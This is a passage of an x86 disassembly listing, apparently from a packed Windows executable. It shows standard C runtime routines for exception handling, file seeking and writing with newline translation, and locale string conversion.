0FFFFFFFFh push offset dword_4278B8 push offset sub_423CC0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_10] mov [ebp+var_2C], eax xor ebx, ebx mov [ebp+var_24], ebx mov esi, [ebp+arg_4] mov ecx, [esi-4] mov [ebp+var_28], ecx mov ecx, dword_4DBE68 mov [ebp+var_1C], ecx mov ecx, dword_4DBE6C mov [ebp+var_20], ecx mov edi, [ebp+arg_0] mov dword_4DBE68, edi mov ecx, [ebp+arg_8] mov dword_4DBE6C, ecx mov [ebp+var_4], ebx mov [ebp+var_4], 1 push [ebp+arg_18] push [ebp+arg_14] push eax push [ebp+arg_C] push esi call sub_41D331 add esp, 14h mov [ebp+var_2C], eax mov [ebp+var_4], ebx or [ebp+var_4], 0FFFFFFFFh call sub_422AF2 mov eax, [ebp+var_2C] loc_422AB9: ; CODE XREF: sub_422AD2+16j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_422A2C endp ; =============== S U B R O U T I N E ======================================= sub_422AC8 proc near ; DATA XREF: .packed:004278C8o push dword ptr [ebp-14h] call sub_422B38 pop ecx retn sub_422AC8 endp ; =============== S U B R O U T I N E ======================================= sub_422AD2 proc near ; DATA XREF: .packed:004278CCo mov esp, [ebp-18h] and dword ptr [ebp-2Ch], 0 push 0FFFFFFFFh lea eax, [ebp-10h] push eax call sub_41D592 pop ecx pop ecx xor eax, eax jmp short loc_422AB9 sub_422AD2 endp ; --------------------------------------------------------------------------- loc_422AEA: ; DATA XREF: .packed:004278C0o xor ebx, ebx mov esi, [ebp+0Ch] mov edi, [ebp+8] ; =============== S U B R O U T I N E ======================================= sub_422AF2 proc near ; CODE XREF: sub_422A2C+85p mov eax, [ebp-28h] mov [esi-4], eax mov eax, [ebp-1Ch] mov dword_4DBE68, eax mov eax, [ebp-20h] mov dword_4DBE6C, eax cmp dword ptr [edi], 0E06D7363h jnz short locret_422B37 cmp dword ptr [edi+10h], 3 jnz short locret_422B37 cmp dword ptr [edi+14h], 19930520h jnz short locret_422B37 cmp [ebp-24h], ebx jnz short locret_422B37 cmp [ebp-2Ch], ebx jz short locret_422B37 call sub_41D5FA push eax push edi call sub_422D26 pop ecx pop ecx locret_422B37: ; CODE XREF: sub_422AF2+1Cj ; sub_422AF2+22j ... retn sub_422AF2 endp ; =============== S U B R O U T I N E ======================================= sub_422B38 proc near ; CODE XREF: sub_422AC8+3p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jnz short loc_422B5F cmp dword ptr [eax+10h], 3 jnz short loc_422B5F cmp dword ptr [eax+14h], 19930520h jnz short loc_422B5F cmp dword ptr [eax+1Ch], 0 jnz short loc_422B5F push 1 pop eax retn ; --------------------------------------------------------------------------- loc_422B5F: ; CODE XREF: sub_422B38+Cj ; sub_422B38+12j ... xor eax, eax retn sub_422B38 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422B62 proc near ; CODE XREF: sub_4229B1+1Ap var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278D0 push offset sub_423CC0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ecx, [ebp+arg_8] mov eax, [ecx+4] test eax, eax jz loc_422D0B cmp byte ptr [eax+8], 0 jz loc_422D0B mov eax, [ecx+8] test eax, eax jz loc_422D0B mov edx, [ebp+arg_4] lea edi, [eax+edx+0Ch] and [ebp+var_4], 0 test byte ptr [ecx], 8 jz short loc_422BFF mov esi, [ebp+arg_0] push 1 push dword ptr [esi+18h] call sub_424F80 pop ecx pop ecx test eax, eax jz loc_422D02 push 1 push edi call sub_424F9C pop ecx pop ecx test eax, eax jz loc_422D02 mov eax, [esi+18h] mov [edi], eax mov ecx, [ebp+arg_C] add ecx, 8 push ecx loc_422BF0: ; CODE XREF: sub_422B62+F5j push eax call sub_422D8D pop ecx pop ecx mov [edi], eax jmp loc_422D07 ; --------------------------------------------------------------------------- loc_422BFF: ; CODE XREF: sub_422B62+57j mov esi, [ebp+arg_C] test byte ptr [esi], 1 jz short loc_422C59 mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] call sub_424F80 pop ecx pop ecx test eax, eax jz loc_422D02 push 1 push edi call sub_424F9C pop ecx pop ecx test eax, eax jz loc_422D02 push dword ptr [esi+14h] push dword ptr [ebx+18h] push edi call sub_41D670 add esp, 0Ch cmp dword ptr [esi+14h], 4 jnz loc_422D07 mov eax, [edi] test eax, eax jz loc_422D07 add esi, 8 push esi jmp short loc_422BF0 ; --------------------------------------------------------------------------- loc_422C59: ; CODE XREF: sub_422B62+A3j cmp dword ptr [esi+18h], 0 mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] jnz short loc_422CA1 call sub_424F80 pop ecx pop ecx test eax, eax jz loc_422D02 push 1 push edi call sub_424F9C pop ecx pop ecx test eax, eax jz short loc_422D02 push dword ptr [esi+14h] add esi, 8 push esi push dword ptr [ebx+18h] call sub_422D8D pop ecx pop ecx push eax push edi call sub_41D670 add esp, 0Ch jmp short loc_422D07 ; --------------------------------------------------------------------------- loc_422CA1: ; CODE XREF: sub_422B62+103j call sub_424F80 pop ecx pop ecx test eax, eax jz short loc_422D02 push 1 push edi call sub_424F9C pop ecx pop ecx test eax, eax jz short loc_422D02 push dword ptr [esi+18h] call sub_424FB8 pop ecx test eax, eax jz short loc_422D02 test byte ptr [esi], 4 jz short loc_422CE8 push 1 lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_422D8D pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_41D2A5 jmp short loc_422D07 ; --------------------------------------------------------------------------- loc_422CE8: ; CODE XREF: sub_422B62+168j lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_422D8D pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_41D29E jmp short loc_422D07 ; --------------------------------------------------------------------------- loc_422D02: ; CODE XREF: sub_422B62+6Aj ; sub_422B62+7Cj ... call sub_422E52 loc_422D07: ; CODE XREF: sub_422B62+98j ; sub_422B62+E1j ... or [ebp+var_4], 0FFFFFFFFh loc_422D0B: ; CODE XREF: sub_422B62+2Ej ; sub_422B62+38j ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_422B62 endp ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_422DFC ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422D26 proc near ; CODE XREF: sub_422651+170p ; sub_422AF2+3Ep var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278E0 push offset sub_423CC0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_0] test eax, eax jz short loc_422D6D mov ecx, [eax+1Ch] mov ecx, [ecx+4] test ecx, ecx jz short loc_422D6D and [ebp+var_4], 0 push ecx push dword ptr [eax+18h] call sub_41D29E or [ebp+var_4], 0FFFFFFFFh loc_422D6D: ; CODE XREF: sub_422D26+2Aj ; sub_422D26+34j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_422D26 endp ; --------------------------------------------------------------------------- xor eax, eax cmp [ebp+0Ch], al setnz al retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_422DFC ; =============== S U B R O U T I N E ======================================= sub_422D8D proc near ; CODE XREF: sub_422B62+8Fp ; sub_422B62+12Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push esi mov esi, [esp+4+arg_0] mov eax, [ecx] mov edx, [ecx+4] add eax, esi test edx, edx jl short loc_422DAE mov esi, [edx+esi] mov ecx, [ecx+8] mov ecx, [esi+ecx] add ecx, edx add eax, ecx loc_422DAE: ; CODE XREF: sub_422D8D+12j pop esi retn sub_422D8D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422DB0 proc near ; CODE XREF: sub_41D331+40p ; sub_4228FD+5Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 4 push ebx push ecx mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov eax, [ebp+arg_0] push ebp push [ebp+arg_8] mov ecx, [ebp+arg_8] mov ebp, [ebp+var_4] call sub_41D61D push esi push edi call eax pop edi pop esi mov ebx, ebp pop ebp mov ecx, [ebp+arg_8] push ebp mov ebp, ebx cmp ecx, 100h jnz short loc_422DEF mov ecx, 2 loc_422DEF: ; CODE XREF: sub_422DB0+38j push ecx call sub_41D61D pop ebp pop ecx pop ebx leave retn 0Ch sub_422DB0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422DFC proc near ; CODE XREF: sub_422651:loc_4227F3j ; sub_42299B:loc_4229ACj ... var_18 = dword ptr -18h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00424FD0 SIZE 00000017 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278F0 push offset sub_423CC0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, dword_4DBE74 test eax, eax jz short loc_422E44 mov [ebp+var_4], 1 call eax jmp short loc_422E40 ; --------------------------------------------------------------------------- loc_422E39: ; DATA XREF: .packed:00427900o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_422E3D: ; DATA XREF: .packed:00427904o mov esp, [ebp+var_18] loc_422E40: ; CODE XREF: sub_422DFC+3Bj and [ebp+var_4], 0 loc_422E44: ; CODE XREF: sub_422DFC+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_422E4D: ; DATA XREF: .packed:004278F8o jmp loc_424FD0 sub_422DFC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422E52 proc near ; CODE XREF: sub_41D4D3+23p ; sub_41D4D3:loc_41D53Ep ... var_18 = dword ptr -18h var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427908 push offset sub_423CC0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, off_43D444 test eax, eax jz short loc_422E9A mov [ebp+var_4], 1 call eax ; sub_422DFC jmp short loc_422E96 ; --------------------------------------------------------------------------- loc_422E8F: ; DATA XREF: .packed:00427918o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_422E93: ; DATA XREF: .packed:0042791Co mov esp, [ebp+var_18] loc_422E96: ; CODE XREF: sub_422E52+3Bj and [ebp+var_4], 0 loc_422E9A: ; CODE XREF: sub_422E52+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_422EA3: ; DATA XREF: .packed:00427910o jmp sub_422DFC sub_422E52 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422EA8 proc near ; CODE XREF: sub_41D9B3+7p ; sub_41D9B3+26p var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, dword_4DD388 push esi cmp eax, 3 jnz short loc_422ED1 mov esi, [ebp+arg_0] push esi call sub_41E717 test eax, eax pop ecx jz short loc_422ECE mov eax, [esi-4] sub eax, 9 jmp short loc_422F06 ; --------------------------------------------------------------------------- loc_422ECE: ; CODE XREF: sub_422EA8+1Cj push esi jmp short loc_422EF8 ; --------------------------------------------------------------------------- loc_422ED1: ; CODE XREF: sub_422EA8+Ej cmp eax, 2 jnz short loc_422EF5 lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax push [ebp+arg_0] call sub_41F472 add esp, 0Ch test eax, eax jz short loc_422EF5 movzx eax, byte ptr [eax] shl eax, 4 jmp short loc_422F06 ; --------------------------------------------------------------------------- loc_422EF5: ; CODE XREF: sub_422EA8+2Cj ; sub_422EA8+43j push [ebp+arg_0] loc_422EF8: ; CODE XREF: sub_422EA8+27j push 0 push dword_4DD384 call dword_42704C ; RtlSizeHeap loc_422F06: ; CODE XREF: sub_422EA8+24j ; sub_422EA8+4Bj pop esi leave retn sub_422EA8 endp ; =============== S U B R O U T I N E ======================================= sub_422F09 proc near ; CODE XREF: sub_41DA8B+67p ; sub_41F9BC+1A2p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] push ebx cmp eax, dword_4DD140 push esi push edi jnb short loc_422F8B mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:4DD040h[ecx*4] shl esi, 3 mov ecx, [edi] test byte ptr [ecx+esi+4], 1 jz short loc_422F8B push eax call sub_4240AA cmp eax, 0FFFFFFFFh pop ecx jnz short loc_422F4D mov dword_4DBDDC, 9 jmp short loc_422F9C ; --------------------------------------------------------------------------- loc_422F4D: ; CODE XREF: sub_422F09+36j push [esp+0Ch+arg_8] push 0 push [esp+14h+arg_4] push eax call dword_427128 ; SetFilePointer mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_422F6D call dword_427094 ; RtlGetLastWin32Error jmp short loc_422F6F ; --------------------------------------------------------------------------- loc_422F6D: ; CODE XREF: sub_422F09+5Aj xor eax, eax loc_422F6F: ; CODE XREF: sub_422F09+62j test eax, eax jz short loc_422F7C push eax call sub_420C7F pop ecx jmp short loc_422F9C ; --------------------------------------------------------------------------- loc_422F7C: ; CODE XREF: sub_422F09+68j mov eax, [edi] and byte ptr [eax+esi+4], 0FDh lea eax, [eax+esi+4] mov eax, ebx jmp short loc_422F9F ; --------------------------------------------------------------------------- loc_422F8B: ; CODE XREF: sub_422F09+Dj ; sub_422F09+2Aj and dword_4DBDE0, 0 mov dword_4DBDDC, 9 loc_422F9C: ; CODE XREF: sub_422F09+42j ; sub_422F09+71j or eax, 0FFFFFFFFh loc_422F9F: ; CODE XREF: sub_422F09+80j pop edi pop esi pop ebx retn sub_422F09 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422FA3 proc near ; CODE XREF: sub_41DA8B+2Ap var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+arg_0] xor ebx, ebx mov esi, [edi+10h] cmp [edi+4], ebx mov [ebp+var_C], esi jge short loc_422FBF mov [edi+4], ebx loc_422FBF: ; CODE XREF: sub_422FA3+17j push 1 push ebx push esi call sub_422F09 add esp, 0Ch cmp eax, ebx mov [ebp+var_4], eax jl short loc_42302D mov edx, [edi+0Ch] test dx, 108h jnz short loc_422FE4 sub eax, [edi+4] jmp loc_4230F6 ; --------------------------------------------------------------------------- loc_422FE4: ; CODE XREF: sub_422FA3+37j mov eax, [edi] mov ecx, [edi+8] mov ebx, eax sub ebx, ecx test dl, 3 mov [ebp+var_8], ebx jz short loc_42301E mov edx, esi mov ebx, esi sar edx, 5 and ebx, 1Fh mov edx, dword_4DD040[edx*4] test byte ptr [edx+ebx*8+4], 80h jz short loc_423035 mov edx, ecx loc_42300F: ; CODE XREF: sub_422FA3+79j cmp edx, eax jnb short loc_423035 cmp byte ptr [edx], 0Ah jnz short loc_42301B inc [ebp+var_8] loc_42301B: ; CODE XREF: sub_422FA3+73j inc edx jmp short loc_42300F ; --------------------------------------------------------------------------- loc_42301E: ; CODE XREF: sub_422FA3+50j test dl, 80h jnz short loc_423035 mov dword_4DBDDC, 16h loc_42302D: ; CODE XREF: sub_422FA3+2Dj or eax, 0FFFFFFFFh jmp loc_4230F6 ; --------------------------------------------------------------------------- loc_423035: ; CODE XREF: sub_422FA3+68j ; sub_422FA3+6Ej ... cmp [ebp+var_4], 0 jnz short loc_423043 mov eax, [ebp+var_8] jmp loc_4230F6 ; --------------------------------------------------------------------------- loc_423043: ; CODE XREF: sub_422FA3+96j test byte ptr [edi+0Ch], 1 jz loc_4230EE mov edx, [edi+4] test edx, edx jnz short loc_42305C and [ebp+var_8], edx jmp loc_4230EE ; --------------------------------------------------------------------------- loc_42305C: ; CODE XREF: sub_422FA3+AFj sub eax, ecx add eax, edx mov [ebp+arg_0], eax mov eax, esi sar eax, 5 and esi, 1Fh lea ebx, ds:4DD040h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [esi+eax+4], 80h jz short loc_4230E8 push 2 push 0 push [ebp+var_C] call sub_422F09 add esp, 0Ch cmp eax, [ebp+var_4] jnz short loc_4230AF mov eax, [edi+8] mov ecx, [ebp+arg_0] add ecx, eax loc_42309A: ; CODE XREF: sub_422FA3+104j cmp eax, ecx jnb short loc_4230A9 cmp byte ptr [eax], 0Ah jnz short loc_4230A6 inc [ebp+arg_0] loc_4230A6: ; CODE XREF: sub_422FA3+FEj inc eax jmp short loc_42309A ; --------------------------------------------------------------------------- loc_4230A9: ; CODE XREF: sub_422FA3+F9j test byte ptr [edi+0Dh], 20h jmp short loc_4230E3 ; --------------------------------------------------------------------------- loc_4230AF: ; CODE XREF: sub_422FA3+EDj push 0 push [ebp+var_4] push [ebp+var_C] call sub_422F09 mov eax, 200h add esp, 0Ch cmp [ebp+arg_0], eax ja short loc_4230D6 mov ecx, [edi+0Ch] test cl, 8 jz short loc_4230D6 test ch, 4 jz short loc_4230D9 loc_4230D6: ; CODE XREF: sub_422FA3+124j ; sub_422FA3+12Cj mov eax, [edi+18h] loc_4230D9: ; CODE XREF: sub_422FA3+131j mov [ebp+arg_0], eax mov eax, [ebx] test byte ptr [esi+eax+4], 4 loc_4230E3: ; CODE XREF: sub_422FA3+10Aj jz short loc_4230E8 inc [ebp+arg_0] loc_4230E8: ; CODE XREF: sub_422FA3+D9j ; sub_422FA3:loc_4230E3j mov eax, [ebp+arg_0] sub [ebp+var_4], eax loc_4230EE: ; CODE XREF: sub_422FA3+A4j ; sub_422FA3+B4j mov eax, [ebp+var_8] mov ecx, [ebp+var_4] add eax, ecx loc_4230F6: ; CODE XREF: sub_422FA3+3Cj ; sub_422FA3+8Dj ... pop edi pop esi pop ebx leave retn sub_422FA3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4230FB proc near ; CODE XREF: sub_41DB54+A2p ; sub_41E42B+2Cp ... var_414 = byte ptr -414h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 414h mov ecx, [ebp+arg_0] push ebx cmp ecx, dword_4DD140 push esi push edi jnb loc_42328F mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea ebx, ds:4DD040h[eax*4] shl esi, 3 mov eax, [ebx] mov al, [eax+esi+4] test al, 1 jz loc_42328F xor edi, edi cmp [ebp+arg_8], edi mov [ebp+var_8], edi mov [ebp+var_10], edi jnz short loc_42314C loc_423145: ; CODE XREF: sub_4230FB+177j xor eax, eax jmp loc_4232A3 ; --------------------------------------------------------------------------- loc_42314C: ; CODE XREF: sub_4230FB+48j test al, 20h jz short loc_42315C push 2 push edi push ecx call sub_422F09 add esp, 0Ch loc_42315C: ; CODE XREF: sub_4230FB+53j mov eax, [ebx] add eax, esi test byte ptr [eax+4], 80h jz loc_42322B mov eax, [ebp+arg_4] cmp [ebp+arg_8], edi mov [ebp+var_4], eax mov [ebp+arg_0], edi jbe loc_423263 loc_42317C: ; CODE XREF: sub_4230FB+F5j lea eax, [ebp+var_414] loc_423182: ; CODE XREF: sub_4230FB+B9j mov ecx, [ebp+var_4] sub ecx, [ebp+arg_4] cmp ecx, [ebp+arg_8] jnb short loc_4231B6 mov ecx, [ebp+var_4] inc [ebp+var_4] mov cl, [ecx] cmp cl, 0Ah jnz short loc_4231A1 inc [ebp+var_10] mov byte ptr [eax], 0Dh inc eax loc_4231A1: ; CODE XREF: sub_4230FB+9Dj mov [eax], cl inc eax mov ecx, eax lea edx, [ebp+var_414] sub ecx, edx cmp ecx, 400h jl short loc_423182 loc_4231B6: ; CODE XREF: sub_4230FB+90j mov edi, eax lea eax, [ebp+var_414] sub edi, eax lea eax, [ebp+var_C] push 0 push eax lea eax, [ebp+var_414] push edi push eax mov eax, [ebx] push dword ptr [eax+esi] call dword_4270F0 ; WriteFile test eax, eax jz short loc_423220 mov eax, [ebp+var_C] add [ebp+var_8], eax cmp eax, edi jl short loc_4231F2 mov eax, [ebp+var_4] sub eax, [ebp+arg_4] cmp eax, [ebp+arg_8] jb short loc_42317C loc_4231F2: ; CODE XREF: sub_4230FB+EAj ; sub_4230FB+12Ej xor edi, edi loc_4231F4: ; CODE XREF: sub_4230FB+150j ; sub_4230FB+15Bj mov eax, [ebp+var_8] cmp eax, edi jnz loc_42328A cmp [ebp+arg_0], edi jz short loc_423263 push 5 pop eax cmp [ebp+arg_0], eax jnz short loc_423258 mov dword_4DBDDC, 9 mov dword_4DBDE0, eax jmp loc_4232A0 ; --------------------------------------------------------------------------- loc_423220: ; CODE XREF: sub_4230FB+E0j call dword_427094 ; RtlGetLastWin32Error mov [ebp+arg_0], eax jmp short loc_4231F2 ; --------------------------------------------------------------------------- loc_42322B: ; CODE XREF: sub_4230FB+69j lea ecx, [ebp+var_C] push edi push ecx push [ebp+arg_8] push [ebp+arg_4] push dword ptr [eax] call dword_4270F0 ; WriteFile test eax, eax jz short loc_42324D mov eax, [ebp+var_C] mov [ebp+arg_0], edi mov [ebp+var_8], eax jmp short loc_4231F4 ; --------------------------------------------------------------------------- loc_42324D: ; CODE XREF: sub_4230FB+145j call dword_427094 ; RtlGetLastWin32Error mov [ebp+arg_0], eax jmp short loc_4231F4 ; --------------------------------------------------------------------------- loc_423258: ; CODE XREF: sub_4230FB+10Fj push [ebp+arg_0] call sub_420C7F pop ecx jmp short loc_4232A0 ; --------------------------------------------------------------------------- loc_423263: ; CODE XREF: sub_4230FB+7Bj ; sub_4230FB+107j mov eax, [ebx] test byte ptr [eax+esi+4], 40h jz short loc_423278 mov eax, [ebp+arg_4] cmp byte ptr [eax], 1Ah jz loc_423145 loc_423278: ; CODE XREF: sub_4230FB+16Fj mov dword_4DBDDC, 1Ch mov dword_4DBDE0, edi jmp short loc_4232A0 ; --------------------------------------------------------------------------- loc_42328A: ; CODE XREF: sub_4230FB+FEj sub eax, [ebp+var_10] jmp short loc_4232A3 ; --------------------------------------------------------------------------- loc_42328F: ; CODE XREF: sub_4230FB+15j ; sub_4230FB+37j and dword_4DBDE0, 0 mov dword_4DBDDC, 9 loc_4232A0: ; CODE XREF: sub_4230FB+120j ; sub_4230FB+166j ... or eax, 0FFFFFFFFh loc_4232A3: ; CODE XREF: sub_4230FB+4Cj ; sub_4230FB+192j pop edi pop esi pop ebx leave retn sub_4230FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4232A8 proc near ; CODE XREF: sub_41DE4A+47p ; sub_41DE4A+74p ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427928 push offset sub_423CC0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor edi, edi cmp dword_4DBE78, edi jnz short loc_42331E push edi push edi push 1 pop ebx push ebx push offset dword_427920 mov esi, 100h push esi push edi call dword_427044 ; LCMapStringW test eax, eax jz short loc_4232FC mov dword_4DBE78, ebx jmp short loc_42331E ; --------------------------------------------------------------------------- loc_4232FC: ; CODE XREF: sub_4232A8+4Aj push edi push edi push ebx push offset word_4CB88C push esi push edi call dword_427048 ; LCMapStringA test eax, eax jz loc_423436 mov dword_4DBE78, 2 loc_42331E: ; CODE XREF: sub_4232A8+2Ej ; sub_4232A8+52j cmp [ebp+arg_C], edi jle short loc_423333 push [ebp+arg_C] push [ebp+arg_8] call sub_4234CC pop ecx pop ecx mov [ebp+arg_C], eax loc_423333: ; CODE XREF: sub_4232A8+79j mov eax, dword_4DBE78 cmp eax, 2 jnz short loc_42335A push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_427048 ; LCMapStringA jmp loc_423438 ; --------------------------------------------------------------------------- loc_42335A: ; CODE XREF: sub_4232A8+93j cmp eax, 1 jnz loc_423436 cmp [ebp+arg_18], edi jnz short loc_423370 mov eax, dword_4DBE94 mov [ebp+arg_18], eax loc_423370: ; CODE XREF: sub_4232A8+BEj push edi push edi push [ebp+arg_C] push [ebp+arg_8] mov eax, [ebp+arg_1C] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_18] call dword_4270E8 ; MultiByteToWideChar mov ebx, eax mov [ebp+var_1C], ebx cmp ebx, edi jz loc_423436 mov [ebp+var_4], edi lea eax, [ebx+ebx] add eax, 3 and al, 0FCh call sub_41C500 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_4233CB ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_24], edi or [ebp+var_4], 0FFFFFFFFh mov ebx, [ebp+var_1C] loc_4233CB: ; CODE XREF: sub_4232A8+10Ej cmp [ebp+var_24], edi jz short loc_423436 push ebx push [ebp+var_24] push [ebp+arg_C] push [ebp+arg_8] push 1 push [ebp+arg_18] call dword_4270E8 ; MultiByteToWideChar test eax, eax jz short loc_423436 push edi push edi push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call dword_427044 ; LCMapStringW mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz short loc_423436 test byte ptr [ebp+arg_4+1], 4 jz short loc_42344A cmp [ebp+arg_14], edi jz loc_4234C5 cmp esi, [ebp+arg_14] jg short loc_423436 push [ebp+arg_14] push [ebp+arg_10] push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call dword_427044 ; LCMapStringW test eax, eax jnz loc_4234C5 loc_423436: ; CODE XREF: sub_4232A8+66j ; sub_4232A8+B5j ... xor eax, eax loc_423438: ; CODE XREF: sub_4232A8+ADj ; sub_4232A8+21Fj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_42344A: ; CODE XREF: sub_4232A8+160j mov [ebp+var_4], 1 lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_41C500 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_20], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_42347E ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_42347E: ; CODE XREF: sub_4232A8+1C2j cmp ebx, edi jz short loc_423436 push esi push ebx push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call dword_427044 ; LCMapStringW test eax, eax jz short loc_423436 cmp [ebp+arg_14], edi push edi push edi jnz short loc_4234A5 push edi push edi jmp short loc_4234AB ; --------------------------------------------------------------------------- loc_4234A5: ; CODE XREF: sub_4232A8+1F7j push [ebp+arg_14] push [ebp+arg_10] loc_4234AB: ; CODE XREF: sub_4232A8+1FBj push esi push ebx push 220h push [ebp+arg_18] call dword_427188 ; WideCharToMultiByte mov esi, eax cmp esi, edi jz loc_423436 loc_4234C5: ; CODE XREF: sub_4232A8+165j ; sub_4232A8+188j mov eax, esi jmp loc_423438 sub_4232A8 endp ; =============== S U B R O U T I N E ======================================= sub_4234CC proc near ; CODE XREF: sub_4232A8+81p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_4234E9 loc_4234DC: ; CODE XREF: sub_4234CC+1Bj cmp byte ptr [eax], 0 jz short loc_4234E9 inc eax mov esi, ecx dec ecx test esi, esi jnz short loc_4234DC loc_4234E9: ; CODE XREF: sub_4234CC+Ej ; sub_4234CC+13j cmp byte ptr [eax], 0 pop esi jnz short loc_4234F4 sub eax, [esp+arg_0] retn ; --------------------------------------------------------------------------- loc_4234F4: ; CODE XREF: sub_4234CC+21j mov eax, edx retn sub_4234CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4234F7 proc near ; CODE XREF: .packed:0041E2B6p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push [ebp+arg_0] call sub_423638 test eax, eax pop ecx jz loc_42362C mov ebx, [eax+8] test ebx, ebx jz loc_42362C cmp ebx, 5 jnz short loc_423528 and dword ptr [eax+8], 0 push 1 pop eax jmp loc_423635 ; 